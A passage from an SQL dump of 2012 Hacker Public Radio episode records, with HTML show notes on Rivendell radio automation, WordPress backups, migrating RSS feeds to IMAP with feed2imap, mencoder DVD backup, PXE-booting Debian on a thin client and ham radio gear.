Sucks\r\nCC-BY-SA\r\n<a href=\"https://www.jamendo.com/en/track/210911\">https://www.jamendo.com/en/track/210911</a>\r\n</p>\r\n<p>\r\n[07:30]\r\nLink\r\nInstalling Rivendell - From the Rivendell Wiki, lists some live cds\r\n<a href=\"https://rivendell.tryphon.org/wiki/Installing_Rivendell\">https://rivendell.tryphon.org/wiki/Installing_Rivendell</a>\r\n</p>\r\n<p>\r\n[10:20]\r\nLink\r\nMy Blog post on installing Rivendell in Ubuntu 12.04\r\n<a href=\"https://www.bluedrava.com/rivendell-on-ubuntu-12.04\">https://www.bluedrava.com/rivendell-on-ubuntu-12.04</a>\r\n</p>\r\n<p>\r\n[15:10]\r\nLink\r\nalsa_in and alsa_out - Very useful if you have a USB headset\r\n<a href=\"https://manpages.ubuntu.com/manpages/natty/man1/alsa_in.1.html\">https://manpages.ubuntu.com/manpages/natty/man1/alsa_in.1.html</a>\r\n</p>\r\n<p>\r\n[17:22]\r\nMusic\r\nDelirante planete by Löhstana David\r\nCC-BY\r\n<a href=\"https://www.jamendo.com/en/track/873822\">https://www.jamendo.com/en/track/873822</a>\r\n</p>\r\n<p>\r\n[22:06]\r\nPromo\r\nRivendell Audio Spot -- \"Rock Steady\"\r\n<a href=\"https://www.rivendellaudio.org/rivendell/download.shtml\">https://www.rivendellaudio.org/rivendell/download.shtml</a>\r\n</p>\r\n<p>\r\n[21:14]\r\nBed Music\r\nMay by Alexander Blu\r\nCC-BY-SA\r\n<a href=\"https://www.jamendo.com/en/track/950\">https://www.jamendo.com/en/track/950</a>\r\n</p>\r\n<p>\r\n[21:42]\r\nLink\r\nScreenshot of RDAirplay from Rivendell site\r\n<a href=\"https://www.rivendellaudio.org/images/rdairplay2.png\">https://www.rivendellaudio.org/images/rdairplay2.png</a>\r\n</p>\r\n<p>\r\nGallery of screenshots here\r\n<a href=\"https://www.rivendellaudio.org/rivendell/gallery.shtml\">https://www.rivendellaudio.org/rivendell/gallery.shtml</a>\r\n</p>\r\n<p>\r\n[25:23]\r\ngrenade.wav by ljudman\r\nCC-Sampling+\r\n<a href=\"https://www.freesound.org/people/ljudman/sounds/33245/\">https://www.freesound.org/people/ljudman/sounds/33245/</a>\r\n</p>\r\n<p>\r\n[25:53]\r\nStorm by RHumphries\r\nCC-BY\r\n<a href=\"https://www.freesound.org/people/RHumphries/sounds/2523/\">https://www.freesound.org/people/RHumphries/sounds/2523/</a>\r\n</p>\r\n<p>\r\n[27:27]\r\nPromo\r\nRivendell Audio Spot -- \"Never Pay\"\r\n<a href=\"https://www.rivendellaudio.org/rivendell/download.shtml\">https://www.rivendellaudio.org/rivendell/download.shtml</a>\r\n</p>\r\n<p>\r\n[34:28]\r\nFly Away by Tanya T6\r\nCC-BY-SA\r\n<a href=\"https://www.jamendo.com/en/track/894415\">https://www.jamendo.com/en/track/894415</a>\r\n</p>\r\n<p>\r\n[42:34]\r\nNote\r\nOdd thing happened, I thought the bed music had bypassed the recording when in fact it had just bypassed the mixer so it played full volume. Again, more practice needed.\r\n</p>\r\n<p>\r\nStuff I forgot to mention:\r\nTalking about multiple tracks in Carts, you can set each track to only play under certain conditions, such as time or day of the week.\r\nRDPanel is an appilcation which is a large version of the sound panel in RDAirplay, great to have on a second monitor.\r\nLogs are playlists which can be saved and loaded an can be generated just by playing music in Airplay or building them manually in RDLogedit or automatically with RDLogManager.\r\nRivendell can manage more than one radio station if needed and share the same DB.\r\n</p>\r\n<p>\r\n<a href=\"https://aukondk.com\">https://aukondk.com</a>\r\n<a href=\"https://bluedrava.com\">https://bluedrava.com</a>\r\n</p>\r\n',191,0,1,'CC-BY-SA','Rivendell,radio,automation',0,2240,1),
(1024,'2012-07-05','Episode 1024',4940,'Celebration of Hacker Public Radio\'s first 1K episodes','<p>In the second and final installment of\r\nHacker Public Radio\'s first 1K episodes (yes Lord D, we know it\'s\r\nreally 1324 :) anniversary celebration, FiftyOneFifty hosts a panel\r\nconsisting of the following hosts from Today With a Techie and the\r\ninaugural year of Hacker Public Radio: jrullo, klaatu, willjasen,\r\nLord Drachenblut, and Xoke (with Mrs. Xoke). Special thanks to\r\naparanoidshell, who stepped in to keep the conversation rolling when\r\nFiftyOneFifty momentarily lost the connection.</p>\r\n<p>Destinations mentioned in this episode:</p>\r\n<p><a href=\"https://audio.textfiles.com/shows/\">https://audio.textfiles.com/shows/</a></p>\r\n<p><a href=\"https://www.oldskoolphreak.com/\">https://www.oldskoolphreak.com/</a></p>\r\n<p><a href=\"https://nomicon.info/\">https://nomicon.info/</a></p>\r\n<p><a href=\"https://www.binrev.com/\">https://www.binrev.com/</a></p>\r\n<p><a href=\"https://twatech.org\">https://twatech.org</a></p>\r\n<p><a href=\"https://hackermedia.org/\">https://hackermedia.org/</a></p>\r\n<p><a href=\"https://www.HackerPublicRadio.org/\">https://www.HackerPublicRadio.org</a></p>\r\n<p>Accordion intro theme courtesy of Mr. X</p>\r\n',109,0,1,'CC-BY-SA','HPR,community,anniversary',0,2358,1),
(1025,'2012-07-05','Infonomicon Episode #51',1577,'Episode 51 of the Infonomicon podcast','<p>\r\n<em>Syndicated Thursdays is a chance to showcase other Creative Commons works. We try to expose podcasts, speeches, presentations, music, etc that you may not have heard. If you have suggestions for items then send your recommendation to admin at hpr and we\'ll add it to the queue.</em>\r\n</p>\r\n<p>\r\nToday we are going to listen to episode 51 of the infonomicon (<a href=\"https://audio.textfiles.com/shows/infonomicon/\">https://audio.textfiles.com/shows/infonomicon/</a> ) podcast. Droops had been a regular listener of RFA and emailed their show several times, started his own show Droops Radio which changed to infonomicon radio. \r\n</p>\r\n<p>\r\nInfonomicon Bumper Music plays until 1:35. Positive feedback about the Infonomicon TV. This is episode 51, which should be almost a year, except it\'s been more than a year. Podcast Incubator 2.0 is coming, and its code is going to be released under the GPL. Dosman and Droops have come up with the idea of doing a daily radio show: Talk with a Techie (TWAT). No fluff, no nothing, at least five minutes long. Infonomicon won\'t close because of this. Obfuscated is not a happy camper, but he is alive. 16 of 66 pages in a magazine Droops read was from one magazine. Bob Denver (Gilligan) passed away, and the boat from Gilligan\'s Island was named after a FCC chairman. AOL is about to be a sucker again, so screw them over. Cyber-looters are registering domains and taking money from hurricane donators: 2500 domains have been registered. Droops is not sure what the solution should be and asks for solutions. People trust Google, but Google can do evil: they\'re an advertising company. Google is buying dark fiber. Google has all sorts of broadband needs, so they\'ll likely go after all sorts of bandwidth to bring their services. Droops wishes that Google made blogs an option to not search. There\'s lots of companies searching nothing but blogs. This hasn\'t been the greatest show ever, but work is being done on the other shows. This is the shortest Infonomicon ever. Bumper Music plays from 15:42 onward.\r\n</p>',109,54,1,'CC-BY-SA','Infonomicon,RFA',0,2254,1),
(1026,'2012-07-09','Setting up a WordPress blog: part 4',1385,'Episode 4 of the series <em>Setting up a Wordpress blog</em>','<p>\r\nThis is the fourth and last of Frank\'s series on setting up a WordPress blog, now projected to be four episodes.  \r\n</p>\r\n<p>\r\nThis episode discusses when and what to back up and maintaining a MySQL database using phpMyAdmin.\r\n</p>\r\n<p>\r\nLinks:\r\n</p>\r\n<p>\r\n<a href=\"https://codex.wordpress.org/Backing_Up_Your_Database\">Wordpress article on backing up your database</a>:  https://codex.wordpress.org/Backing_Up_Your_Database\r\n</p>\r\n<p>\r\n<a href=\"https://codex.wordpress.org/WordPress_Site_Maintenance\">WordPress article on database maintenance</a>:  https://codex.wordpress.org/WordPress_Site_Maintenance\r\n</p>\r\n',195,0,1,'CC-BY-SA','WordPress,MySQL,phpMyAdmin,backup',0,2213,1),
(1027,'2012-07-10','Migrating away from Google Reader',1455,'An alternative to Google Reader for managing feeds','<p>\r\nOne of the major advantages of Google Reader over application based clients is that no matter where you access it from your views are synchronized. Everything you read is marked a read everywhere and you don\'t have to worry about whither you check your feeds on a desktop PC or on your phone. It truly is the best example of a cloud application out there.\r\n</p>\r\n<p>\r\nExcept for the fact that I\'m not happy with the idea of a complete stranger watching and recording every article I read, how long I read it for, and share that information around to other <em>trusted partners</em>. Remember when your parents/guardians caught you reading over their shoulder ? It wasn\'t acceptable then and it sure isn\'t now. Epically when I noticed that my search results changed dramatically after I started following certain feeds. It\'s just not right and here\'s why <a href=\"https://www.ted.com/talks/eli_pariser_beware_online_filter_bubbles.html\">https://www.ted.com/talks/eli_pariser_beware_online_filter_bubbles.html</a>\r\n</p>\r\n<p>\r\n<object width=\"526\" height=\"374\">\r\n<param name=\"movie\" value=\"https://video.ted.com/assets/player/swf/EmbedPlayer.swf\"/>\r\n<param name=\"allowFullScreen\" value=\"true\" />\r\n<param name=\"allowScriptAccess\" value=\"always\"/>\r\n<param name=\"wmode\" value=\"transparent\"/>\r\n<param name=\"bgColor\" value=\"#ffffff\"/>\r\n<param name=\"flashvars\" value=\"vu=https://video.ted.com/talk/stream/2011/Blank/EliPariser_2011-320k.mp4&su=https://images.ted.com/images/ted/tedindex/embed-posters/EliPariser-2011.embed_thumbnail.jpg&vw=512&vh=288&ap=0&ti=1091&lang=&introDuration=15330&adDuration=4000&postAdDuration=830&adKeys=talk=eli_pariser_beware_online_filter_bubbles;year=2011;theme=what_s_next_in_tech;theme=bold_predictions_stern_warnings;event=TED2011;tag=culture;tag=global+issues;tag=journalism;tag=politics;tag=technology;&preAdTag=tconf.ted/embed;tile=1;sz=512x288;\" />\r\n<embed src=\"https://video.ted.com/assets/player/swf/EmbedPlayer.swf\" pluginspace=\"https://www.macromedia.com/go/getflashplayer\" type=\"application/x-shockwave-flash\" wmode=\"transparent\" bgColor=\"#ffffff\" width=\"526\" height=\"374\" allowFullScreen=\"true\" allowScriptAccess=\"always\" flashvars=\"vu=https://video.ted.com/talk/stream/2011/Blank/EliPariser_2011-320k.mp4&su=https://images.ted.com/images/ted/tedindex/embed-posters/EliPariser-2011.embed_thumbnail.jpg&vw=512&vh=288&ap=0&ti=1091&lang=&introDuration=15330&adDuration=4000&postAdDuration=830&adKeys=talk=eli_pariser_beware_online_filter_bubbles;year=2011;theme=what_s_next_in_tech;theme=bold_predictions_stern_warnings;event=TED2011;tag=culture;tag=global+issues;tag=journalism;tag=politics;tag=technology;&preAdTag=tconf.ted/embed;tile=1;sz=512x288;\"></embed>\r\n</object>\r\n</p>\r\n<h3>Getting a list of my feeds</h3>\r\n<p>\r\nGoogle should be credited with the fact that they make exporting very easy to do. Thanks to the work of the <a href=\"https://www.dataliberation.org/\">https://www.dataliberation.org/</a> team. Who\'s stated goal is <em>\"Users should be able to control the data they store in any of Google\'s products.  Our team\'s goal is to make it easier to move data in and out.\"</em><br />\r\nFor Google Reader this amounts to:\r\n</p>\r\n<pre>\r\nSettings -> Reader Settings -> Import/Export -> OPML\r\n</pre>\r\n<p>\r\n<em><strong>OPML (Outline Processor Markup Language)</strong> is an XML format for outlines (defined as \"a tree, where each node contains a set of named attributes with string values\"). Originally developed by Radio UserLand as a native file format for an outliner application, it has since been adopted for other uses, the most common being to exchange lists of web feeds between web feed aggregators.</em><br />\r\nFrom Wikipedia, the free encyclopedia <a href=\"https://en.wikipedia.org/wiki/OPML\">https://en.wikipedia.org/wiki/OPML</a>\r\n</p>\r\n\r\n<p>\r\nThat\'s it. You now have a list of all your feeds we are still faced with the problem of reading/deleting items in one place and having them synchronized everywhere else ? The answer is actually quite obvious.\r\n</p>\r\n<h3>imap - Internet Message Access Protocol</h3>\r\n<p>\r\n<em>From Wikipedia, the free encyclopedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Internet_Message_Access_Protocol\">https://en.wikipedia.org/wiki/Internet_Message_Access_Protocol</a><br />\r\nInternet message access protocol (IMAP) is one of the two most prevalent Internet standard protocols for e-mail retrieval, the other being the Post Office Protocol (POP). Virtually all modern e-mail clients and mail servers support both protocols as a means of transferring e-mail messages from a server.</em>\r\n</p>\r\n<p>\r\nThe great news is that there are imap clients everywhere. Microsoft Outlook supports it. Thunderbird, Evolution, Kmail, Claws-Mail all support it. It\'s supported on Android, the iPhone, and on Windows Mobile. There are a multitude of web clients. The only problem now was to find a way to get the RSS feeds over to a imap message format. A quick duckduckgo search later lead me to ....\r\n</p>\r\n<h4>Feed2Imap</h4> \r\n<p><a href=\"https://home.gna.org/feed2imap/\">https://home.gna.org/feed2imap/</a><br />\r\n<em>Feed2Imap is an RSS/Atom feed aggregator. After Downloading feeds (over HTTP or HTTPS), it uploads them to a specified folder of an IMAP mail server or copies them to a local maildir. The user can then access the feeds using Mutt, Evolution, Mozilla Thunderbird or even a webmail.</em>\r\n</p>\r\n<p>\r\nIt\'s in all the major repositories and I had it up and running in under ten minutes. It keeps it\'s settings in a hidden file <strong>.feed2imaprc</strong> in your home directory. The configuration is simple, four lines per feed.\r\n</p>\r\n<pre>\r\nfeeds:\r\n - name: kenfallon.com\r\n   url: https://kenfallon.com/?feed=rss2\r\n   target: imap://RSSNewsAccount%40example.com:PasswordForRSSNewsAccount@imap.example.com/INBOX.Feeds.Tech_Blogs\r\n   include-images: true\r\n...\r\n</pre>\r\n<p>\r\nThe <strong>name</strong> filed is what will be the feed name and <strong>url</strong> is the link to the rss feed. The <strong>target</strong> is the path on the imap account you want to put it to. I used a throw away email account on my own domain with some restrictions on the size so that if I forget to check it won\'t affect the rest of my mailboxes. <br />\r\nThe line it\'s broken into several parts, first is <em>imap://</em> followed by the imap account user name and password. If your login contains an @ character, replace it with %40. Next is the <em>@</em> sign followed by your server hostname and then the path. I chose <strong>INBOX.Feeds</strong> and then a subfolder for every group I had in Google Reader. The only other option I set was to include the images.\r\n</p>\r\n<h4>opml2feed</h4> \r\n<p>\r\nI have quite a few feeds now and I did not want to be typing them in by hand. So I wrote a small perl script to convert the opml file into a .feed2imaprc format and it will hopefully get you most of the way. The code is available on <a href=\"https://gitorious.org/opml2feed\">https://gitorious.org/opml2feed</a> ( thanks to Klaatu over at <a href=\"https://www.gnuworldorder.info/\">https://www.gnuworldorder.info/</a> where he covered using Git in the March 31, 2012: Episode 7x13.)\r\n</p>\r\n<p>\r\nNow setup the imap account on your mail client(s) and once you are happy run <strong>feed2imap</strong> and you should see the items beginning to appear. I set it to run every two hours at 14 minutes past the hour by adding the following line to my cron tab.\r\n</p>\r\n<pre>\r\n14 */2 * * * /usr/bin/feed2imap >/dev/null 2>&amp;1\r\n</pre>\r\n',30,0,1,'CC-BY-SA','Google,Google Reader,OPML,IMAP,Feed2Imap,opml2feed',0,2517,1),
(1028,'2012-07-11','Jonathan Kulp and NYbill: Goodwill Hunting ',1962,'A discussion of what technology can be found at Goodwill','<p>\r\n<a href=\"https://sn.jonkulp.net/jk?\">Jonathan Kulp</a> and <a href=\"https://identi.ca/nybill\">NYbill</a> talk about a little known resource for inexpensive tech finds. Thanks go to Windigo for the inspiration and episodes title from this dent: <br/>\r\n<br/>\r\n<a href=\"https://micro.fragdev.com/notice/265312\">Jon\'s export business</a> <br/>\r\n<br/>\r\nThe guys talk about Jon\'s finds at the Goodwill and his uses of the rigs. As is becoming somewhat of a theme, there is a digression into computer nostalgia and Linux origins. But, the guys get the episode back on track. <br/>\r\n<br/>\r\nGrab ten bucks and get out there and shop! <br/>\r\n<br/>\r\n<a href=\"https://jonathankulp.org/\">Jon\'s web site</a> <br/>\r\n<a href=\"https://www.goodwill.org/\">Goodwill</a> <br/>\r\n<a href=\"https://www.lagoodwill.com/site.php\">Jon\'s Goodwill</a> <br/>\r\n<a href=\"https://www.shopgoodwill.com\">Goodwill Online</a> <br/>\r\n<br/>\r\n<a href=\"https://www.scribd.com/doc/9836903/Catalog-y1984-Heathkit-No865-Spring-Archive-Computer-Dch-h89-Kit\">Heathkit Nostalgia</a>\r\n</p>\r\n\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://identi.ca/nybill\">https://identi.ca/nybill</a></li>\r\n<li><a href=\"https://micro.fragdev.com/notice/265312\">https://micro.fragdev.com/notice/265312</a></li>\r\n<li><a href=\"https://jonathankulp.org/\">https://jonathankulp.org/</a></li>\r\n<li><a href=\"https://www.goodwill.org/\">https://www.goodwill.org/</a></li>\r\n<li><a href=\"https://www.lagoodwill.com/site.php\">https://www.lagoodwill.com/site.php</a></li>\r\n<li><a href=\"https://www.shopgoodwill.com\">https://www.shopgoodwill.com</a></li>\r\n<li><a href=\"https://www.scribd.com/doc/9836903/Catalog-y1984-Heathkit-No865-Spring-Archive-Computer-Dch-h89-Kit\">https://www.scribd.com/doc/9836903/Catalog-y1984-Heathkit-No865-Spring-Archive-Computer-Dch-h89-Kit</a></li>\r\n</ul>\r\n',109,0,1,'CC-BY-SA','Goodwill,second-hand,IT',0,2397,1),
(1029,'2012-07-12','Karen Sandler on Medical Devices: OGG Camp Part Two',1202,'Karen Sandler\'s OggCamp talk about closed source medical devices','<p>Introducing Karen Sandler: legal eagle, formerly of the Software Freedom Law Center and newly appointed executive director at the Gnome Foundation.\r\n\r\n<p>Presentation from Karen Sandler. Karen wasn’t due on the scheduled track, but stepped into an unexpected gap to talk about something, dare I say, very close to her heart? Opening up embedded software in medical devices.</p>\r\n\r\n<p>OGG Camp is a joint venture organised by those lovely podcasters the <a href=\"https://linuxoutlaws.com/\" target=\"_blank\" >Linux Outlaws</a> and the <a href=\"https://podcast.ubuntu-uk.org/\" target=\"_blank\" >Ubuntu UK Podcast</a>.</p>\r\n\r\n<p>We\'ve more highlights of OGG Camp coming up on the Full Circle Podcast very soon, including Andy Piper on MQTT and the Ogg Camp Panel discussion.</p>\r\n\r\n<p>The Full Circle Podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community. Find us at <a href=\"www.fullcirclemagazine.org/podcast\" target=\"_blank\">www.fullcirclemagazine.org/podcast</a>.</p>\r\n\r\n<p>Feedback; you can post comments and feedback on the podcast page at <a href=\"www.fullcirclemagazine.org/podcast\" target=\"_blank\">www.fullcirclemagazine.org/podcast</a>, send us a comment to podcast (at) fullcirclemagazine.org</p>\r\n\r\n<p><strong>Your Hosts:</strong></p>\r\n\r\n<ul>\r\n<li><strong>Robin Catling</strong> (blog at <a target=\"_blank\" href=\"https://catlingmindswipe.blogspot.com/\">https://catlingmindswipe.blogspot.com/</a>, @robincatling on Twitter)</li>\r\n</ul>\r\n\r\n<p><em>Additional audio by Victoria Pritchard</em></p>\r\n\r\n<p><strong>Runtime:</strong> 20mins 2seconds</p>',160,54,1,'CC-BY-SA','OggCamp,Full Circle Podcast',0,2247,1),
(1030,'2012-07-13','Ruben Rodriquez talks about Trisquel Linux',2885,'A talk from NELF 2012 about Trisquel','<p>\r\nAs DeepGeek is on sabbatical for this month, we\'re taking the time to use up some of the shows from the Syndicated Thursday queue.</p>\r\n<p>\r\n<em>\r\nSyndicated Thursdays is a chance to showcase other Creative Commons works. We try to expose podcasts, speeches, presentations, music, etc that you may not have heard. If you have suggestions for items then send your recommendation to admin at hpr and we\'ll add it to the queue.\r\n</em>\r\n</p>\r\n<p>\r\nToday it\'s a talk with Ruben Rodriquez Recorded at the Northeast GNU/Linux Fest 2012-03-17.\r\n</p>\r\n<p>\r\nFrom <a href=\"https://trisquel.info/en/faq\">https://trisquel.info/en/faq</a> <br />\r\n<em>\r\n<strong>What is Trisquel?</strong><br />\r\nTrisquel GNU/Linux is a 100% free operating system. It comes with a complete selection of programs that can be easily extended using a graphical installer. There are several editions available, including the \"mini\" edition for netbooks and old computers and the network based installer for custom and server installations.\r\n</em>\r\n</p>',158,54,1,'CC-BY-SA','NELF 2012,Trisquel Linux',0,2325,1),
(1031,'2012-07-16','Backing up your dvd collection using mencoder',424,'Using mencoder from the command line','<p>\r\n  Hello HPR BrocktonBob here with another short but sweet episode about backing up \r\n your dvd collection using mencoder a terminal command program.In this episode i tell\r\n you how to back up your dvd\'s using a small mencoder command.You will end up with a\r\n very nice .avi file about a third the size of your original dvd movie size.So just \r\n copy and paste the command below into the terminal after you have inserted the dvd\r\n into your drive.make sure to close movie player by hitting cancel.so copy the code below\r\n</p>\r\n<pre>\r\nmencoder dvd://1 \\\r\n-alang en \\\r\n-vf crop=640:480:0:0,scale=640:405 \\\r\n-ovc xvid -xvidencopts \\\r\nbvhq=1:chroma_opt:quant_type=mpeg:bitrate=3000 \\\r\n-oac mp3lame \\\r\n-lameopts br=96:cbr:vol=6 \\\r\n-o HarryPotter.avi\r\n</pre>\r\n<p>\r\nJust replace HarryPotter.avi with the name of the movie your backing up enjoy.\r\n</p>',202,0,1,'CC-BY-SA','mencoder,dvd',0,2138,1),
(1032,'2012-07-17','LiTS 011: du - disk usage',1391,'Summarise file space usage with the du command','<p>\r\nThe du command provides a summary of disk usage for files and directories. The default behavior is to show the number of blocks used by the contents of a directory or directories the command is run on. Usage is calculated recursively for directories. When du encounters a directory it will recurse into subdirectories and show the disk utilization of the files and directories under that directory and then present a total for the topmost directory. This cascades down through each subdirectory where the subdirectory becomes the parent and each child directory is summarized and the parent then totalled.\r\n</p>\r\n\r\n<p>For complete show notes see <a href=\"https://www.linuxintheshell.com/2012/07/17/episode-011-du-disk-usage/\">https://www.linuxintheshell.com/2012/07/17/episode-011-du-disk-usage/</a></p>\r\n',7,67,1,'CC-BY-SA','disk usage,du',0,2435,1),
(1033,'2012-07-18','Go RTFM',469,'Asking for help from others versus trying to find the answer yourself','This my first show for HPR I wanted to express my feelings on why we should be able say rtfm and why. With understanding that its good for growth and that maybe not to say rtfm fully persay, but to find away say it in a positive light for the user. I type this to see people gets the point to read more then hear! :)',217,0,1,'CC-BY-SA','RTFM,helpfulness,self-help',0,2210,1),
(1034,'2012-07-19','PXE Boot',1018,'Setting up an information display with a thin client and spare monitor','<p>\r\nIn todays show, Ken tells of his struggle to get silent PC to work with his spare 17\" monitor. His attempts to get a \"VIA EPIA M9000 Mini ITX Motherboard\" failed miserably and so he has turned to a HP Compaq t5000 thin client. As can be seen in this post <a href=\"https://forums3.armagetronad.net/viewtopic.php?f=49&t=21990\">here</a> and discussed <a href=\"https://www.linuxquestions.org/questions/linux-general-1/linux-riddle-how-do-you-install-linux-on-a-hp-compaq-t5000-internet-terminal-564929/\">here</a>.\r\n</p>\r\n<p>\r\n<img src=\"https://img600.imageshack.us/img600/4555/rhsw.jpg\"/><img src=\"https://img694.imageshack.us/img694/1223/rearl.jpg\" /><img src=\"https://img31.imageshack.us/img31/7712/insidet.jpg\"/>\r\n</p>\r\n<p>\r\nThe OS installs fine from USB but you run into grub issues on reboot that require you to boot from USB disk to rectify and that runs into problems as the boot order get\'s confusing. To get around this I decided to install Debian via PXE boot or more commonly \"Pixie\" boot. A full description can be found on the debian <a href=\"https://wiki.debian.org/PXEBootInstall\">wiki</a>. Basically it involves setting up a DHCP server, a TFTP server and downloading a boot image.\r\n</p>\r\n<p>\r\nOnce you have everything configured is a standard Debian net install. The only gotya is entering the MAC address of your Client and making sure you know what is happening on your network with regard to DHCP. I set the internal sd drive as the boot partition, created a 500Mb swap on my 4G external disk and put the root as the rest. I set both the boot and the root partition to ext2 as I didn\'t want the added strain of journaling on the sd media.\r\n</p>\r\n<p>\r\nI ran into the Grub 2 ERROR 17 issue which meant that I had to do some reading on <a href=\"https://help.ubuntu.com/community/Grub2\">Grub2</a> and we\'re back to the bad old days of lilo where you need run commands or your config changes are ignored. Anyway another Pixie boot, this time into recovery mode long enough to type <strong>update-grub</strong>. A quick reboot and we\'re into a standard Debian base install.\r\n</p>\r\n<p>\r\nI took the steps to installing Debian multimedia by adding the magic <em>deb https://www.debian-multimedia.org squeeze main non-free</em> to my <em>/etc/apt/sources.list</em> and then doing\r\n<pre>\r\naptitude install debian-multimedia-keyring\r\n</pre>\r\nto get the keyring in order. After that it was a <em>aptitude update</em> and a <em>aptitude safe-upgrade</em> and that was it. I was free to install anything I wanted.\r\n</p>\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://forums3.armagetronad.net/viewtopic.php?f=49&t=21990\">https://forums3.armagetronad.net/viewtopic.php?f=49&t=21990</a></li>\r\n<li><a href=\"https://www.linuxquestions.org/questions/linux-general-1/linux-riddle-how-do-you-install-linux-on-a-hp-compaq-t5000-internet-terminal-564929/\">https://www.linuxquestions.org/questions/linux-general-1/linux-riddle-how-do-you-install-linux-on-a-hp-compaq-t5000-internet-terminal-564929/</a></li>\r\n<li><a href=\"https://wiki.debian.org/PXEBootInstall\">https://wiki.debian.org/PXEBootInstall</a></li>\r\n<li><a href=\"https://help.ubuntu.com/community/Grub2\">https://help.ubuntu.com/community/Grub2</a></li>\r\n</ul>\r\n',30,0,1,'CC-BY-SA','PXE boot,thin client,DHCP,TFTP',0,2384,1),
(1035,'2012-07-20','OGG Camp 11 Panel Discussion',1895,'Fourth in a series of OggCamp 11 highlights from the Full Circle Podcast','<p>Welcome to the Full Circle Podcast on Hacker Public Radio. This is the fourth of our highlights of last Summers unconference, OGG Camp-11, held at Farnham Maltings in the South of England.</p>\r\n\r\n<p>Introducing Andy Piper on MQTT: MQ Telemetry Transport</p>\r\n\r\n<p>MQTT is a machine-to-machine (M2M)/\"Internet of Things\" connectivity protocol. It was designed as an extremely lightweight publish/subscribe messaging transport. It is useful for connections with remote locations where a small code footprint is required and/or network bandwidth is at a premium. For example, it has been used in sensors communicating to a broker via satellite link, over occasional dial-up connections with healthcare providers, and in a range of home automation and small device scenarios. It is also ideal for mobile applications because of its small size, low power usage, minimised data packets, and efficient distribution of information to one or many receivers</p>\r\n\r\n<p><a target=\"_blank\" href=\"https://lanyrd.com/2011/oggcamp/sgrch/\" title=\"Andy Piper on Lanyrd (OGG Camp 11)\">Andy Piper on Lanyrd:</a> social bridgebuilder, photographer, techie, speaker, podcaster, WebSphere Messaging Community Lead @ IBM, Committee @ Digital Surrey.</p>\r\n<p>The presentation <a target=\"_blank\" href=\"https://www.slideshare.net/andypiper/lightweightmessaging-oc2011\" title=\"Andy Piper, MQTT presentation\">Messaging for the Internet of Awesome Things (slideshare.net)</a></p>\r\n<p><a target=\"_blank\" href=\"https://andypiper.co.uk/tag/mqtt/\" title=\"Andy Piper, MQTT tags on the blog\">Andy’s blog for MQTT, The Lost Outpost</a> is also on-line.</p>\r\n\r\n<p>OGG Camp is a joint venture organised by those lovely podcasters the <a href=\"https://linuxoutlaws.com/\" target=\"_blank\" >Linux Outlaws</a> and the <a href=\"https://podcast.ubuntu-uk.org/\" target=\"_blank\" >Ubuntu UK Podcast</a>.</p>\r\n\r\n<p>We\'ve more highlights of OGG Camp coming up on the Full Circle Podcast very soon, including Andy Piper and Laura Cjaikowski.</p>\r\n\r\n<p>The Full Circle Podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community. Find us at <a href=\"www.fullcirclemagazine.org/podcast\" target=\"_blank\">www.fullcirclemagazine.org/podcast</a>.</p>\r\n\r\n<p>Feedback; you can post comments and feedback on the podcast page at <a href=\"www.fullcirclemagazine.org/podcast\" target=\"_blank\">www.fullcirclemagazine.org/podcast</a>, send us a comment to podcast (at) fullcirclemagazine.org</p>\r\n\r\n<p><strong>Your Hosts:</strong></p>\r\n\r\n<ul>\r\n<li><strong>Robin Catling</strong> (blog at <a target=\"_blank\" href=\"https://catlingmindswipe.blogspot.com/\">https://catlingmindswipe.blogspot.com/</a>, @robincatling on Twitter)</li>\r\n</ul>\r\n\r\n<p><em>Additional audio by Victoria Pritchard</em></p>\r\n\r\n<p><strong>Runtime:</strong> 31mins 35seconds</p>\r\n',160,0,1,'CC-BY-SA','Full Circle Podcast,MQTT',0,2538,1),
(1036,'2012-07-23','Setting up Your First Ham Radio Station',1740,'Advice on starting with Amateur Radio','<p>\r\nJoel\r\nSetting up Your First Ham Radio Station\r\nHam Radio\r\n</p>\r\n<p>\r\n<a href=\"https://www.yaesu.com/\">https://www.yaesu.com/</a><br />\r\n<a href=\"https://www.kenwoodusa.com/Communications/\">https://www.kenwoodusa.com/Communications/</a><br />\r\n<a href=\"https://www.icomamerica.com/en/\">https://www.icomamerica.com/en/</a><br />\r\n</p>\r\n<p>\r\nBaofeng UV-3R <a href=\"https://www.amazon.com/Baofeng-UV-3R-Display-136-174-400-470MHz/dp/B006J4G49C/ref=sr_1_2?ie=UTF8&amp;qid=1339045186&amp;sr=8-2\">https://www.amazon.com/Baofeng-UV-3R-Display-136-174-400-470MHz/dp/B006J4G49C/ref=sr_1_2?ie=UTF8&amp;qid=1339045186&amp;sr=8-2</a>\r\n</p>\r\n<p>\r\nBaofeng UV-5R <a href=\"https://www.amazon.com/BaoFeng-UV-5R-136-174-400-480-Dual-Band/dp/B007H4VT7A/ref=sr_1_1?ie=UTF8&amp;qid=1339045186&amp;sr=8-1\">https://www.amazon.com/BaoFeng-UV-5R-136-174-400-480-Dual-Band/dp/B007H4VT7A/ref=sr_1_1?ie=UTF8&amp;qid=1339045186&amp;sr=8-1</a>\r\n</p>\r\n<p>\r\nWouxxun <a href=\"https://www.amazon.com/Wouxun-KG-UVD1P-400-470MHz-Handheld-Transceiver/dp/B005M5XOZQ/ref=sr_1_sc_1?s=electronics&amp;ie=UTF8&amp;qid=1339045262&amp;sr=1-1-spell\">https://www.amazon.com/Wouxun-KG-UVD1P-400-470MHz-Handheld-Transceiver/dp/B005M5XOZQ/ref=sr_1_sc_1?s=electronics&amp;ie=UTF8&amp;qid=1339045262&amp;sr=1-1-spell</a>\r\n</p>\r\n<p>\r\nDipole Calculator - <a href=\"https://www.kwarc.org/ant-calc.html\">https://www.kwarc.org/ant-calc.html</a>\r\n</p>\r\n<p>\r\nPocket J-Pole - <a href=\"https://larc.hamgate.net/pocketJpole.htm\">https://larc.hamgate.net/pocketJpole.htm</a>\r\n</p>\r\n<p>\r\nComet Under Window/Door Jumper <a href=\"https://www.cometantenna.com/newPro_detail.php?ID=264\">https://www.cometantenna.com/newPro_detail.php?ID=264</a>\r\n</p>\r\n<p>\r\nPower Supply - <a 